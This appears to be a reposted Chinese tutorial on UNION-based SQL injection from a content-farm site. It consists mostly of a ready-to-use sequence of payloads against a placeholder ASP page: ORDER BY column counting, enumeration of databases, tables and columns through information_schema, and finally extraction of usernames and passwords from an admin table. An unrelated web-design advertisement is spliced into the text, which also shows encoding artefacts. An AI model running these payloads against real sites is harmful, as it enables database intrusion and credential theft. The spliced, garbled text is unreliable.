例如有一個(gè)網(wǎng)站:www.xxxxx.com/artist.asp?id=2

創(chuàng)新互聯(lián)公司專(zhuān)注于銀州網(wǎng)站建設(shè)服務(wù)及定制,我們擁有豐富的企業(yè)做網(wǎng)站經(jīng)驗(yàn)。 熱誠(chéng)為您提供銀州營(yíng)銷(xiāo)型網(wǎng)站建設(shè),銀州網(wǎng)站制作、銀州網(wǎng)頁(yè)設(shè)計(jì)、銀州網(wǎng)站官網(wǎng)定制、微信小程序定制開(kāi)發(fā)服務(wù),打造銀州網(wǎng)絡(luò)公司原創(chuàng)品牌,更為您提供銀州網(wǎng)站排名全網(wǎng)營(yíng)銷(xiāo)落地服務(wù)。
id=2 order by 3 正常
id=2 order by 4 不正常order by需要獲取字段的總數(shù)為3
id=2 union select 1,2,3
id=2 union select 1,2,database() #爆數(shù)據(jù)庫(kù)名
id=2 union select 1,2,database()有一些數(shù)據(jù),union聯(lián)合查詢(xún)后,不會(huì)多行顯示,就需要先讓前面的語(yǔ)句失效
id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知數(shù)據(jù)庫(kù)sqlzhuru,爆表名(第一個(gè)表)因id = -2不存在,帶入select * from admin where id=-2報(bào)錯(cuò)哦
當(dāng)然你也可以用下面的這個(gè)語(yǔ)句,效果等同于“id=-2”
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知數(shù)據(jù)庫(kù)sqlzhuru,爆表名(第一個(gè)表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知數(shù)據(jù)庫(kù)sqlzhuru,爆表名(第一個(gè)表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知數(shù)據(jù)庫(kù)sqlzhuru,爆第二個(gè)表假如得到admin表,繼續(xù)如下:
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1 #已知admin表,爆二個(gè)列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1 #已知admin表,爆三個(gè)列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1 #已知admin表,爆三個(gè)列名(十六進(jìn)制表示admin表)假如上面得到admin表下的username、password列,接下來(lái)就可以列出某某的數(shù)據(jù)了id=2 and 1=2 union select 1,username,password from admin
新聞標(biāo)題:sql注入:union聯(lián)合查詢(xún)
轉(zhuǎn)載來(lái)于:http://chinadenli.net/article6/ggpcog.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供外貿(mào)建站、ChatGPT、響應(yīng)式網(wǎng)站、面包屑導(dǎo)航、建站公司、網(wǎng)站收錄
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)